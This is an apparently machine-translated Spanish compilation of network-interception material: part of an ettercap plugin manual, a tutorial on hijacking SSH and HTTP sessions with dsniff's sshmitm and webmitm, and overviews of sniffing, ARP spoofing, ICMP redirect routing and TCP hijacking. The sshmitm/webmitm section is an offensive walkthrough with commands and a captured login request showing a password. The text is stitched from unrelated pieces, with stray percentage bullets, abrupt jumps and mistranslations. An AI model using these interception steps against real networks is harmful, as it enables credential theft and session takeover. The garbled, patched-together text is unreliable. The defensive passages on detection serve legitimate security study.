Este complemento interrumpe las solicitudes de DNS y responde con una respuesta falsificada. Puede elegir a qué dirección debe responder el complemento editando el archivo etter.dns. El complemento intercepta solicitudes A, AAAA, PTR, MX, WINS, SRV y TXT. Si fue una solicitud A, entonces se busca el nombre en el archivo y se devuelve la dirección IP (puede usar comodines en el nombre).

Lo mismo se aplica a las solicitudes AAAA.

7.5 buscar_conexión

Un complemento muy simple que escucha las solicitudes ARP para mostrarle todos los objetivos con los que el host desea comunicarse. También puede ayudarle a encontrar direcciones en LAN desconocidas.

Ettercap -TQzP buscar_conn ettercap -TQu -i eth0 -P buscar_conn

7.6 encontrar_ettercap

Intenta identificar los paquetes ettercap enviados a la LAN. Puede resultar útil para identificar a alguien que intenta utilizar ettercap. No confíe en ello al 100%, ya que las pruebas solo funcionan en secuencias/números de identificación específicos.

7.7 escaneo_envenenador

Verificaremos si alguien está provocando a alguno de los anfitriones de la lista y a nosotros. Primero, verifica si dos hosts en la lista tienen el mismo dirección MAC. Esto puede significar que uno de ellos nos está envenenando haciéndose pasar por el otro. Puede generar muchos falsos positivos en un entorno proxy-arp. Debe crear una lista de hosts para realizar esta verificación. Después de eso, envía paquetes de eco icmp a cada host de la lista y verifica si la dirección mac de la fuente de respuesta es diferente de la dirección que almacenamos en la lista con esa IP. Esto podría significar que alguien está provocando a este host pretendiendo tener nuestra dirección IP y reenviándonos los paquetes interceptados. No puedes ejecutar esta prueba activa en modo no ofensivo.

Ettercap -TQP scan_poisoner //

7.8 búsqueda_promisc

Intenta encontrar si alguien está husmeando (escuchando) en modo promiscuo. Envía dos solicitudes arp diferentes mal formadas a cada objetivo en la lista de hosts y espera respuestas. Si la respuesta provino del host objetivo, es más o menos probable que el objetivo tenga la tarjeta de red en modo promiscuo. Puede generar falsas alarmas. Puede ejecutarlo desde la línea de comando o desde el menú de complementos. Dado que escucha las respuestas de arp, será mejor si no las usa al enviar solicitudes de arp.

Ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

Un ejemplo de cómo adivinar con éxito dos tarjetas de red en modo promiscuo:

Expandir

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Equipo de desarrollo de Ettercap Escuchando en: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00: 27ff:feaf:30b9/64 La disección SSL necesita un script "redir_command_on" válido en el archivo etter.conf. Es posible que Ettercap no funcione correctamente. /proc/sys/net/ipv6/conf/eth0/use_tempaddr no está configurado en 0. Los privilegios se redujeron a EUID 65534 EGID 65534... 33 complementos 42 disectores de protocolo 57 puertos monitoreados 20388 huella digital del proveedor de mac 1766 huella digital del sistema operativo tcp 2182 servicios conocidos Lua : no se especificaron scripts, ¡no se inicia! Aleatorizando 255 hosts para escanear... Escaneando toda la máscara de red en busca de 255 hosts... * |================================ ============= =====================>

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Equipo de desarrollo de Ettercap Escuchando en: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00: 27ff:feaf:30b9/64 La disección SSL necesita un script "redir_command_on" válido en el archivo etter.conf. Es posible que Ettercap no funcione correctamente. /proc/sys/net/ipv6/conf/eth0/use_tempaddr no está configurado en 0. Los privilegios se redujeron a EUID 65534 EGID 65534... 33 complementos 42 disectores de protocolo 57 puertos monitoreados 20388 huella digital del proveedor de mac 1766 huella digital del sistema operativo tcp 2182 servicios conocidos Lua : no se especificaron scripts, ¡no se inicia! Aleatorizando 255 hosts para escanear... Escaneando toda la máscara de red en busca de 255 hosts... * |================================ ============= =====================>| 100.00% 5 hosts agregados a la lista de hosts... Iniciando rastreo unificado... Solo texto Interfaz activada... Presione "h" para obtener ayuda en línea Activando el complemento search_promisc... search_promisc: Buscando NIC promisc... Menos probablemente rastreando NIC : - 192.168.1.36 - 192.168.1.34 Lo más probable es que esté rastreando NIC: - NINGUNO Cerrando la interfaz de texto... Terminando ettercap... ¡Limpieza de Lua completa! Se detuvo el rastreo unificado.

7.9 tira ssl

Durante un ataque SSL mitm, ettercap reemplaza el certificado SSL real por el suyo propio. El certificado falso se crea sobre la marcha y todos los campos se completan de acuerdo con el certificado real presentado por el servidor.

  • (62%)
  • (56.5%)
  • (ALEATORIO - 0,2%)
  • En este artículo veremos ataques como Man-in-the-Middle, o más bien el método
    Redirigir el tráfico SSH y HTTP mediante el ataque Man in the Middle. No jalemos al gato por la cola, pero pongámonos manos a la obra.

    Man in the Middle (en resumen, MitM, del ruso simplemente: "ataque del intermediario" o "hombre
    en el medio") es un tipo de ataque basado en redirigir el tráfico entre dos máquinas para interceptar información: estudiarla más a fondo, destruirla o modificarla. Entonces, lo primero que necesitamos es el paquete dsniff (verá un enlace al paquete en (al final del artículo). Por qué sí, porque este paquete contiene todas las utilidades necesarias, incluyendo sshmitm (redireccionar el tráfico SSH) y httpmitm (redireccionar el tráfico HTTP), que pueden eludir el siguiente esquema de seguridad: hasta donde usted sabe, los protocolos con El cifrado de datos es bastante "seguro" (el cifrado ayuda :)) y no permite que se realicen ataques "en la parte superior" de la capa de red. El pirata informático desconoce la clave de cifrado: es imposible descifrar los datos. e inserte un comando también. Todo parece estar bien, pero así es como
    ya que los programas de ataque MitM (sshmitm y httpmitm) del paquete dsniff pueden evitar este sistema seguridad (puedes evitar casi todo). Todo esto se hace según el siguiente principio:
    el host intermedio recibe la solicitud del cliente, "diciéndole" que es el servidor y luego se conecta al servidor real.
    Lo segundo que necesitamos son los brazos extendidos, lo cuarto, lo más importante, es el deseo y, por supuesto, una víctima, es decir, el ordenador al que atacaremos.

    Redirigir el tráfico SSH

    Después de preparar las herramientas, entendiste qué era qué y por qué :). Obtenga sshmitm: ahora redirigiremos el tráfico SSH (todo lo que no entendió en la parte teórica, lea arriba)
    usándolo, aprovechando las deficiencias de la PKI (infraestructura de clave pública) actual: un esquema de gestión de claves basado en
    métodos de criptografía asimétrica). Veamos la sintaxis
    sshmitm:

    sshmitm [-d] [-I] [-p puerto] host

    D
    permitir salida de depuración (es decir, modo más avanzado)

    I
    secuestro de sesión

    Puerto P
    puerto de escucha

    anfitrión
    dirección del host remoto cuyas sesiones serán interceptadas

    puerto
    puerto en el host remoto

    Todo parece sencillo y de buen gusto, no hay nada complicado :). ¡Comencemos a implementar el ataque!

    # sshmitm server.target.gov // especifica tu servidor SSH
    sshmitm: retransmisión al servidor server.target.gov

    Como no tenemos una clave SSH real, el intérprete de comandos del atacante
    mostrará una solicitud para verificar la clave del host, todo se verá así:

    clientemáquina$servidor.target.gov
    @ADVERTENCIA: ¡LA IDENTIFICACIÓN DEL HOST REMOTO HA CAMBIADO! @
    ¡ES POSIBLE QUE ALGUIEN ESTÉ HACIENDO ALGO MALO!
    ¡Alguien podría estar espiándote en este momento (ataque de intermediario)!
    También es posible que se haya cambiado la clave del host RSA.
    Por favor, póngase en contacto con el administrador del sistema.

    Y luego el usuario decidirá si se conecta o no. En caso afirmativo, tendremos control total sobre la sesión SSH.
    ¡PERO! Si el usuario nunca se ha conectado a ese coche, puede aparecer el siguiente mensaje:

    No se puede establecer la autenticidad del host "server.target.gov"
    La huella digital de la clave RSA es
    bla bla bla bla bla........
    ¿Estás seguro de que quieres continuar conectándote (sí/no)?

    Aquí el usuario también tiene dos opciones: conectarse o no. Si es así, entonces interceptamos la sesión, si no, entonces ay... :(.
    En general, el ataque tuvo éxito si el usuario se conectaba y sshmitm, a su vez, registraba todos los pases e inicios de sesión, y de forma muy legible :)
    Naturalmente, este no es el único interceptor de sesiones SSH, pero una vez que te familiarices con él, podrás dominar fácilmente otro :)

    Redirigir el tráfico HTTP

    Ahora redirigiremos el tráfico HTTP. Nuevamente, necesitaremos una herramienta previamente seleccionada: httpmitm, que escucha los puertos 80 (HTTP -) y 443 (HTTPS -), intercepta solicitudes WEB, luego se conecta al servidor y reenvía las solicitudes a la computadora cliente. El programa también genera claves SSL y certificados SSL utilizando OpenSSL. Luego, después de intentar
    se conecta al sitio (target.gov), el navegador verificará el certificado SSL. Dado que los certificados no coincidirán, el navegador del usuario advertirá sobre
    Certificado SSL incorrecto. Desde la perspectiva del atacante, se verá así:

    #webmitm -d
    webmitm: retransmisión transparente
    webmitm: nueva conexión desde
    OBTENER [enlace]/uzerz.php?user=helknights&password=neskaju1qwerty HTTP/[versión]
    Tipo de conección]
    Anfitrión: www.target.gov
    Agente de usuario: [sistema, información del navegador]
    [etc, etc, etc]
    Galleta: [galletas]

    Así se ve todo desde fuera.
    la conexión SSL es interceptada, capturando datos no cifrados.

    Conclusión

    En este artículo, analizamos la redirección del tráfico SSH y HTTP mediante el ataque Man in the Middle, de forma clara, detallada y breve. Otros redirectores HTTP y SSH
    Dominarás el tráfico usando MitM rápidamente si también los dominas :)). Si algo no estaba claro, entonces...

    La interceptación de datos a través de una red es la recepción de cualquier información desde un dispositivo informático remoto. Puede consistir en información personal del usuario, sus mensajes y registros de visitas al sitio web. La captura de datos se puede realizar mediante software espía o mediante rastreadores de red.

    El software espía es un software especial que puede registrar toda la información transmitida a través de una red desde una estación de trabajo o dispositivo específico.

    Un rastreador es un programa o tecnología informática que intercepta y analiza el tráfico que pasa a través de una red. El rastreador le permite conectarse a una sesión web y realizar diversas operaciones en nombre del propietario de la computadora.

    Si la información no se transmite en tiempo real, software espía generar informes que faciliten la visualización y análisis de la información.

    La interceptación de la red puede llevarse a cabo de forma legal o ilegal. El principal documento que fija la legalidad de la obtención de información es el Convenio sobre la ciberdelincuencia. Fue creado en Hungría en 2001. Los requisitos legales pueden variar ligeramente de un estado a otro, pero el mensaje clave es el mismo para todos los países.

    Clasificación y métodos de interceptación de datos a través de la red.

    De acuerdo con lo anterior, la interceptación de información a través de una red se puede dividir en dos tipos: autorizada y no autorizada.

    La captura de datos autorizada se lleva a cabo para diversos fines, que van desde proteger la información corporativa hasta garantizar la seguridad nacional. Los motivos para realizar dicha operación están determinados por la legislación, los servicios especiales, los agentes del orden y los especialistas. organizaciones administrativas y servicios de seguridad para empresas.

    Existen estándares internacionales para realizar la interceptación de datos. El Instituto Europeo de Normas de Telecomunicaciones ha conseguido armonizar una serie de procesos técnicos (ETSI ES 201 158 “Seguridad de las telecomunicaciones; Interceptación legal (LI); Requisitos para las funciones de red”) en los que se basa la interceptación de información. Como resultado, se desarrolló una arquitectura de sistema que ayuda a los especialistas del servicio secreto y a los administradores de red a obtener datos de la red de forma legal. La estructura desarrollada para implementar la interceptación de datos a través de la red se utiliza para cableado y sistemas inalámbricos llamadas de voz, así como correspondencia por correo, transmisión de mensajes de voz por IP, intercambio de información vía SMS.

    La interceptación no autorizada de datos en una red la llevan a cabo atacantes que quieren apoderarse de datos confidenciales, contraseñas, secretos corporativos, direcciones de máquinas informáticas en la red, etc. Para lograr sus objetivos, los piratas informáticos suelen utilizar un analizador de tráfico de red: un rastreador. Este programa o un dispositivo de hardware y software le brinda al estafador la capacidad de interceptar y analizar información dentro de la red a la que está conectado el usuario víctima, incluido el tráfico SSL cifrado mediante la suplantación de certificados. Los datos de tráfico se pueden obtener de diferentes formas:

    • escuchando la interfaz de red,
    • conectar un dispositivo de interceptación a una interrupción de canal,
    • creando una rama de tráfico y duplicándola en el sniffer,
    • mediante la realización de un ataque.

    También existen tecnologías más complejas para interceptar información importante que permiten inmiscuirse en las interacciones de la red y cambiar datos. Una de esas técnicas son las solicitudes ARP falsificadas. La esencia del método es reemplazar las direcciones IP entre la computadora de la víctima y el dispositivo del atacante. Otro método que se puede utilizar para interceptar datos a través de una red es el enrutamiento falso. Implica reemplazar la dirección IP de un enrutador de red con su propia dirección. Si un ciberdelincuente sabe cómo está organizada la red local en la que se encuentra la víctima, podrá organizar fácilmente la recepción de información desde la máquina del usuario a su dirección IP. Capturar una conexión TCP también sirve de una manera efectiva interceptación de datos. El atacante interrumpe la sesión de comunicación generando y enviando paquetes TCP a la computadora de la víctima. A continuación, la sesión de comunicación es restaurada, interceptada y continuada por el delincuente en lugar del cliente.

    Objeto de influencia

    Los objetos de interceptación de datos a través de la red pueden ser agencias gubernamentales, empresas industriales, estructuras comerciales y usuarios comunes. Dentro de una organización o empresa comercial, se puede capturar información para proteger la infraestructura de la red. Los servicios de inteligencia y los organismos encargados de hacer cumplir la ley pueden realizar interceptaciones masivas de información transmitida por diferentes propietarios, dependiendo de la tarea en cuestión.

    Si hablamos de ciberdelincuentes, entonces cualquier usuario u organización puede convertirse en objeto de influencia para obtener los datos transmitidos a través de la red. Con acceso autorizado, la parte informativa de la información recibida es importante, mientras que un atacante está más interesado en datos que puedan usarse para apoderarse. en efectivo o información valiosa para su posterior venta.

    Muy a menudo, los usuarios que se conectan a una red pública, por ejemplo en una cafetería con un punto de acceso, son víctimas de la interceptación de información por parte de los ciberdelincuentes. acceso wifi. Un atacante se conecta a una sesión web mediante un rastreador, reemplaza datos y roba información personal. Lea más sobre cómo sucede esto en el artículo.

    Fuente de amenaza

    La interceptación autorizada de información en empresas y organizaciones la llevan a cabo los operadores de infraestructuras de redes públicas. Sus actividades están dirigidas a proteger datos personales, secretos comerciales y otros información importante. Legalmente, la transferencia de mensajes y archivos puede ser monitoreada por servicios de inteligencia, agencias de aplicación de la ley y diversas agencias gubernamentales para garantizar la seguridad de los ciudadanos y del Estado.

    Los delincuentes se dedican a la interceptación ilegal de datos. Para evitar ser víctima de un ciberdelincuente, es necesario seguir algunas recomendaciones de los expertos. Por ejemplo, no se deben realizar operaciones que requieran autorización y transferencia de datos sensibles en lugares donde la conexión sea a redes públicas. Es más seguro elegir redes con cifrado y, mejor aún, utilizar módems personales 3G y LTE. Al transferir datos personales, se recomienda cifrarlos utilizando el protocolo HTTPS o un túnel VPN personal.

    Puede proteger su computadora de la interceptación del tráfico de la red mediante criptografía y anti-sniffers; El acceso telefónico a la red en lugar del acceso inalámbrico reducirá los riesgos.


    Esta lección describe las tecnologías de piratería de redes basadas en la interceptación de paquetes de red. Los piratas informáticos utilizan estas tecnologías para escuchar el tráfico de la red con el fin de robar información valiosa, organizar la interceptación de datos con el propósito de un ataque de intermediario, interceptar conexiones TCP, permitiendo, por ejemplo, la suplantación de datos y realizar otras , acciones no menos interesantes. Desafortunadamente, la mayoría de estos ataques en realidad se implementan sólo para redes Unix, para las cuales los piratas informáticos pueden usar ambos utilidades especiales y herramientas del sistema Unix. Al parecer, los piratas informáticos han ignorado las redes Windows y nos vemos obligados a limitar nuestra descripción de las herramientas de interceptación de datos a programas rastreadores diseñados para la escucha trivial de paquetes de red. Sin embargo, no se debe descuidar al menos una descripción teórica de este tipo de ataques, especialmente para los anti-hackers, ya que el conocimiento de las tecnologías de hacking utilizadas ayudará a prevenir muchos problemas.

    Olfateo de redes

    Normalmente se utiliza para rastrear redes Ethernet. tarjetas de red cambió al modo de escucha. Escuchando Redes Ethernet requiere conectar una computadora que ejecuta un programa rastreador a un segmento de red, después de lo cual todo el tráfico de red enviado y recibido por las computadoras en este segmento de red queda disponible para el pirata informático. Es incluso más fácil interceptar el tráfico de las redes de radio que utilizan intermediarios de redes inalámbricas; en este caso, ni siquiera es necesario buscar un lugar para conectarse al cable. O un atacante puede conectarse a la línea telefónica que conecta la computadora al servidor de Internet y encontrar un lugar conveniente para esto (las líneas telefónicas generalmente se colocan en sótanos y otros lugares raramente visitados sin ninguna protección).

    Para demostrar la tecnología de rastreo, utilizaremos el muy popular programa de rastreo SpyNet, que se puede encontrar en muchos sitios web. El sitio web oficial del programa SpyNet se encuentra en http://members.xoom.com/layrentiu2/, donde puede descargar una versión de demostración del programa.

    El programa SpyNet consta de dos componentes: CaptureNet y PipeNet. El programa CaptureNet le permite interceptar paquetes transmitidos a través de una red Ethernet a nivel de red, es decir. en forma de tramas Ethernet. El software PipeNet le permite ensamblar tramas Ethernet en paquetes de capa de aplicación, restaurando, por ejemplo, mensajes Correo electrónico, mensajes de protocolo HTTP (intercambio de información con el servidor web) y realizar otras funciones.

    Desafortunadamente, en la demostración de SpyNet, las capacidades de PipeNet se limitan a la demostración de ensamblaje de paquetes HTTP, por lo que no podremos demostrar SpyNet en su totalidad. Sin embargo, demostraremos las capacidades de rastreo de redes de SpyNet usando nuestra red experimental como ejemplo pasando Archivo de texto desde el host Sword-2000 al host Alex-Z usando el método habitual Explorador de Windows. Al mismo tiempo, en la computadora A1ex-1 ejecutaremos el programa CaptureNet, que interceptará los paquetes transmitidos y nos permitirá leer el contenido del archivo transmitido en tramas Ethernet. En la Fig. 1 muestra el texto del mensaje secreto en el archivo secret.txt; Intentaremos encontrar este texto en las tramas Ethernet capturadas.

    Arroz. 1. Texto del mensaje secreto en la ventana del Bloc de notas.

    Para capturar tramas Ethernet, siga estos pasos:

    En la computadora Alex-Z, ejecute el programa CaptureNet. En la ventana de trabajo que se muestra del programa, seleccione el comando de menú Capturar * Iniciar (Capturar * Iniciar) e inicie el proceso de interceptación de tramas de red.

    Usando el Explorador de Windows, copie el archivo security.txt de la computadora Sword-2000 a A1ex-3.

    Después de transferir el archivo secret.txt, seleccione el comando de menú Capturar * Detener y detenga el proceso de captura.

    Las tramas Ethernet capturadas aparecerán en el lado derecho de la ventana del programa CaptureNet (Figura 2), donde cada fila de la lista superior representa una trama Ethernet y, debajo de la lista, el contenido de la trama seleccionada.

    Arroz. 2. La trama Ethernet contiene texto de mensaje secreto

    Después de revisar la lista de fotogramas interceptados, podemos encontrar fácilmente el que contiene el texto que transmitimos. Este es un gran secreto (Este es un gran secreto).

    Destacamos que este es el ejemplo más simple, cuando se registró todo el tráfico de red interceptado. CaptureNet le permite interceptar paquetes enviados a través de protocolos específicos y a puertos de host específicos, seleccionar mensajes con contenido específico y acumular los datos capturados en un archivo. La técnica para realizar este tipo de acciones es sencilla y se puede aprender utilizando el sistema de ayuda del programa SpyNet.

    Además de las primitivas escuchas de la red, los piratas informáticos tienen acceso a medios más sofisticados de interceptación de datos. A continuación se ofrece una breve descripción general de dichos métodos, aunque desde un aspecto teórico. La razón es que para las redes Windows, la implementación práctica de ataques de interceptación de datos es extremadamente limitada y el conjunto de utilidades confiables para ataques de interceptación es bastante pobre.

    Métodos para interceptar el tráfico de red.

    El rastreo de redes utilizando programas analizadores de redes como CaptureNet mencionado anteriormente es la primera y más sencilla forma de interceptar datos. Además de SpyNet, se utilizan muchas herramientas para rastrear redes, inicialmente desarrolladas con el fin de analizar la actividad de la red, diagnosticar redes, seleccionar el tráfico según criterios específicos y otras tareas de administración de la red. Un ejemplo de un programa de este tipo es tcpdump (http://www.tcpdump.org), que le permite registrar el tráfico de la red en un registro especial para su posterior análisis.

    Para protegerse contra las escuchas ilegales en la red, se utilizan programas especiales, por ejemplo, AntiSniff (http://www.securitysoftwaretech.com/antisniff), que son capaces de identificar las computadoras en la red que están escuchando el tráfico de la red. Para resolver sus problemas, los programas antisniffer utilizan una señal especial de la presencia de dispositivos de escucha en la red: la tarjeta de red de la computadora rastreadora debe estar en un modo de escucha especial. Mientras están en modo de escucha, las computadoras de la red reaccionan de una manera especial a los datagramas IP enviados al host que se está probando. Por ejemplo, los hosts de escucha normalmente procesan todo el tráfico entrante, no solo los datagramas enviados a la dirección del host. Hay otras señales que indican un comportamiento sospechoso del host que AntiSniff puede reconocer.

    Sin lugar a dudas, las escuchas ilegales son muy útiles desde el punto de vista de un atacante, ya que le permiten obtener mucha información útil: contraseñas transmitidas a través de la red, direcciones de computadoras de la red, datos confidenciales, cartas, etc. Sin embargo, una simple escucha no permite que un pirata informático interfiera con la comunicación de red entre dos hosts para modificar y corromper datos. Para resolver este problema se necesita una tecnología más compleja.

    Solicitudes ARP falsas

    Para interceptar y hacerse cargo del proceso de interacción de red entre dos hosts A y B, un atacante puede reemplazar las direcciones IP de los hosts que interactúan con su propia dirección IP enviando mensajes ARP (Protocolo de resolución de direcciones) falsificados a los hosts A y B. Puede familiarizarse con el protocolo ARP en el Apéndice D, que describe el procedimiento para resolver (convertir) la dirección IP del host a la dirección de la máquina (dirección MAC) codificada en la tarjeta de red del host. Veamos cómo un hacker puede usar ARP para interceptar las comunicaciones de red entre los hosts A y B.

    Para interceptar el tráfico de red entre los hosts A y B, el hacker impone su dirección IP a estos hosts, de modo que A y B utilicen esta dirección IP falsificada al intercambiar mensajes. Para imponer su dirección IP, el hacker realiza las siguientes operaciones.

    El atacante determina las direcciones MAC de los hosts A y B, por ejemplo, utilizando el comando nbtstat del paquete W2RK.

    El atacante envía mensajes a las direcciones MAC identificadas de los hosts A y B, que son respuestas ARP falsificadas a solicitudes para convertir las direcciones IP de los hosts en las direcciones MAC de las computadoras. Se informa al host A que la dirección IP del host B corresponde a la dirección MAC de la computadora del atacante; Se informa al host B que la dirección IP del host A también corresponde a la dirección MAC de la computadora del atacante.

    Los hosts A y B almacenan las direcciones MAC recibidas en sus cachés ARP y luego las usan para enviarse mensajes entre sí. Dado que las direcciones IP A y B corresponden a la dirección MAC de la computadora del atacante, los hosts A y B, sin sospecharlo, se comunican a través de un intermediario que puede hacer cualquier cosa con sus mensajes.

    Para protegerse contra tales ataques, los administradores de red deben mantener una base de datos con una tabla de correspondencia entre las direcciones MAC y las direcciones IP de sus computadoras de la red. A continuación, utilizando un especial software Por ejemplo, las utilidades arpwatch (ftp://ftp.ee.lbl.gov/arpwatch-2.lab.tar.gz) pueden inspeccionar periódicamente la red e identificar inconsistencias.

    En redes UNIX, este tipo de ataque de solicitud ARP falsificado se puede implementar utilizando utilidades del sistema para monitorear y administrar el tráfico de red, como arpredirect. Desafortunadamente, estas utilidades confiables no parecen implementarse en redes Windows 2000/XP. Por ejemplo, en el sitio web de NTsecurity (http://www.ntsecurity.nu) puede descargar la utilidad GrabitAII, presentada como una herramienta para redirigir el tráfico entre hosts de red. Sin embargo, una comprobación básica de la funcionalidad de la utilidad GrabitAII muestra que el éxito total en la implementación de sus funciones aún está lejos.

    ruta falsa

    Para interceptar el tráfico de red, un atacante puede falsificar la dirección IP real de un enrutador de red con su propia dirección IP, haciendo esto, por ejemplo, utilizando mensajes ICMP Redirect falsificados. El host A debe, según RFC-1122, percibir el mensaje de redireccionamiento recibido como una respuesta a un datagrama enviado a otro host, por ejemplo, B. El host A determina sus acciones en el mensaje de redireccionamiento en función del contenido del mensaje de redireccionamiento recibido. y si se especifica la redirección de datagramas en Redirigir de A a B a lo largo de una nueva ruta, esto es exactamente lo que hará el host A.

    Para realizar un enrutamiento falso, el atacante debe conocer algunos detalles sobre la organización de la red local en la que se encuentra el host A, en particular, la dirección IP del enrutador a través del cual se envía el tráfico desde el host A al B. Sabiendo esto, el atacante generará un datagrama IP en el cual IP: la dirección del remitente se define como la dirección IP del enrutador y el destinatario es el host A. También se incluye en el datagrama un mensaje de redireccionamiento ICMP con el campo de dirección del nuevo enrutador configurado en el Dirección IP de la computadora del atacante. Habiendo recibido dicho mensaje, el host A enviará todos los mensajes a la dirección IP de la computadora del atacante.

    Para protegerse contra tal ataque, debe deshabilitar (por ejemplo, usando un firewall) el procesamiento de mensajes de redireccionamiento ICMP en el host A, y el comando tracert (en Unix, este es el comando tracerout) puede revelar la dirección IP de la computadora del atacante. . Estas utilidades son capaces de encontrar una ruta adicional que ha aparecido en la red local y que no se proporcionó durante la instalación, a menos, por supuesto, que el administrador de la red esté atento.

    Los ejemplos anteriores de interceptaciones (para las cuales las capacidades de los atacantes están lejos de ser limitadas) nos convencen de la necesidad de proteger los datos transmitidos a través de la red si los datos contienen información confidencial. El único método de protección contra las interceptaciones del tráfico de la red es el uso de programas que implementan algoritmos criptográficos y protocolos de cifrado y evitan la divulgación y sustitución de información secreta. Para resolver estos problemas, la criptografía proporciona herramientas para cifrar, firmar y verificar la autenticidad de los mensajes transmitidos a través de protocolos seguros.

    La implementación práctica de todos los métodos criptográficos para proteger el intercambio de información descritos en el Capítulo 4 la proporcionan las redes VPN (Red Privada Virtual). En el Apéndice E se puede encontrar una breve descripción de los principios y técnicas de seguridad criptográfica, y Descripción detallada herramientas de protección criptográfica proporcionadas por la aplicación PGP Desktop Security (http://www.pgp.com).

    Intercepción de conexión TCP

    El ataque de interceptación de tráfico de red más sofisticado debe considerarse la captura de conexión TCP (secuestro de TCP), cuando un pirata informático interrumpe la sesión de comunicación actual con el host generando y enviando paquetes TCP al host atacado. A continuación, utilizando la capacidad del protocolo TCP para restaurar una conexión TCP interrumpida, el hacker intercepta la sesión de comunicación interrumpida y la continúa en lugar del cliente desconectado.

    Se han creado varias utilidades eficaces para realizar ataques de secuestro de conexiones TCP, pero todas están implementadas para la plataforma Unix y en los sitios web estas utilidades se presentan sólo en forma de código fuente. Por lo tanto, como profesionales convencidos de la noble causa del hacking, los ataques que utilizan el método de interceptación de conexiones TCP no nos sirven de mucho. (Aquellos a quienes les guste entender el código de programa de otras personas pueden consultar el sitio http://www.cri.cz/~kra/index.html, donde pueden descargar fuente la conocida utilidad de interceptación de conexiones Hunt TCP de Pavel Krauz).

    A pesar de la falta de herramientas prácticas, no podemos ignorar un tema tan interesante como la interceptación de conexiones TCP, y nos detendremos en algunos aspectos de este tipo de ataques. En el Apéndice D de este libro se proporciona información sobre la estructura de un paquete TCP y el procedimiento para establecer conexiones TCP, pero aquí nos centraremos en la pregunta: ¿qué permite exactamente a los piratas informáticos llevar a cabo ataques de interceptación de conexiones TCP? Consideremos este tema con más detalle, basándonos principalmente en la discusión en y.

    El protocolo TCP (Protocolo de control de transmisión) es uno de los protocolos básicos de la capa de transporte OSI que le permite establecer conexiones lógicas a través de un canal de comunicación virtual. A través de este canal se transmiten y reciben paquetes con su secuencia registrada, se controla el flujo de paquetes, se organiza la retransmisión de paquetes distorsionados y al final de la sesión se interrumpe el canal de comunicación. El protocolo TCP es el único protocolo central de la familia TCP/IP que tiene un sistema avanzado de conexión e identificación de mensajes.

    Para identificar un paquete TCP, hay dos identificadores de 32 bits en el encabezado TCP, que también actúan como contadores de paquetes, llamados número de secuencia y número de acuse de recibo. También nos interesará un campo más del paquete TCP, llamado bits de control. Este campo de 6 bits incluye los siguientes bits de control (en orden de izquierda a derecha):

    URG - bandera de urgencia;

    ACK - bandera de confirmación;

    PSH - llevar bandera;

    RST: indicador de restablecimiento de la conexión;

    SYN - indicador de sincronización;

    FIN: indicador de terminación de conexión.

    Veamos el procedimiento para crear una conexión TCP.

    1. Si el host A necesita crear una conexión TCP con el host B, entonces el host A envía al host B el siguiente mensaje:

    A -> B: SYN, ISSa

    Esto significa que el mensaje enviado por el host A tiene configurado el indicador SYN (Sincronizar número de secuencia) y el campo de número de secuencia está configurado en el valor inicial de 32 bits ISSa (Número de secuencia inicial).

    2. En respuesta a la solicitud recibida del host A, el host B responde con un mensaje en el que se establece el bit SYN y el bit ACK. En el campo del número de secuencia, el host B establece su valor de contador inicial: ISSb; el campo del número de acuse de recibo contendrá el valor ISSa recibido en el primer paquete del host A, aumentado en uno. Entonces el host B responde con este mensaje:

    B -> A: SINC, ACK, ISSb, ACK(ISSa+1)

    3. Finalmente, el host A envía un mensaje al host B, en el que: se establece el bit ACK; el campo del número de secuencia contiene el valor ISSa + 1; El campo del número de acuse de recibo contiene el valor ISSb + 1. Después de esto, la conexión TCP entre los hosts A y B se considera establecida:

    A -> B: ACK, ISSa+1, ACK(ISSb+1)

    4. Ahora el host A puede enviar paquetes de datos al host B a través del canal TCP virtual recién creado:

    A -> B: ACK, ISSa+1, ACK(ISSb+1); DATOS

    Aquí DATOS significa datos.

    Del algoritmo para crear una conexión TCP discutido anteriormente, se puede ver que los únicos identificadores de suscriptores TCP y una conexión TCP son dos parámetros de 32 bits del número de secuencia y el número de acuse de recibo: ISSa e ISSb. Por lo tanto, si un pirata informático logra descubrir los valores actuales de los campos ISSa e ISSb, nada le impedirá generar un paquete TCP falsificado. Esto significa que un hacker solo necesita seleccionar los valores actuales de los parámetros ISSa e ISSb de un paquete TCP para una conexión TCP determinada, enviar el paquete desde cualquier host de Internet en nombre del cliente de esta conexión TCP, y este paquete será percibido como correcto!

    El peligro de este tipo de suplantación de paquetes TCP también es importante porque los protocolos FTP y TELNET de alto nivel se implementan basándose en el protocolo TCP, y la identificación de los clientes de paquetes FTP y TELNET se basa completamente en el protocolo TCP.

    Además, dado que los protocolos FTP y TELNET no verifican las direcciones IP de los remitentes de mensajes, después de recibir un paquete falsificado, los servidores FTP o TELNET enviarán un mensaje de respuesta a la dirección IP del host del hacker especificado en el paquete falso. Después de esto, el host hacker comenzará a trabajar con el servidor FTP o TELNET desde su dirección IP, pero con los derechos de un usuario legalmente conectado, quien, a su vez, perderá contacto con el servidor debido a la discrepancia de los contadores.

    Así, para llevar a cabo el ataque descrito anteriormente, una condición necesaria y suficiente es el conocimiento de los dos parámetros actuales de 32 bits ISSa e ISSb que identifican la conexión TCP. Consideremos formas posibles recibiéndolos. En el caso de que el host del hacker esté conectado al segmento de red atacado, la tarea de obtener los valores de ISSa e ISSb es trivial y puede resolverse analizando el tráfico de la red. Por lo tanto, es necesario entender claramente que el protocolo TCP permite, en principio, proteger una conexión sólo si es imposible que un atacante intercepte los mensajes transmitidos a través de esta conexión, es decir, solo en el caso de que el host del hacker esté conectado a un segmento de red diferente del segmento de suscriptor de la conexión TCP.

    Por lo tanto, los ataques entre segmentos son de mayor interés para un hacker, cuando el atacante y su objetivo se encuentran en diferentes segmentos de la red. En este caso, la tarea de obtener los valores de ISSa e ISSb no es trivial. Para resolver este problema, hasta la fecha sólo se han inventado dos métodos.

    Predicción matemática del valor inicial de los parámetros de conexión TCP mediante extrapolación de valores anteriores de ISSa e ISSb.

    Explotación de vulnerabilidades en la identificación de suscriptores de conexiones TCP en servidores Unix rsh.

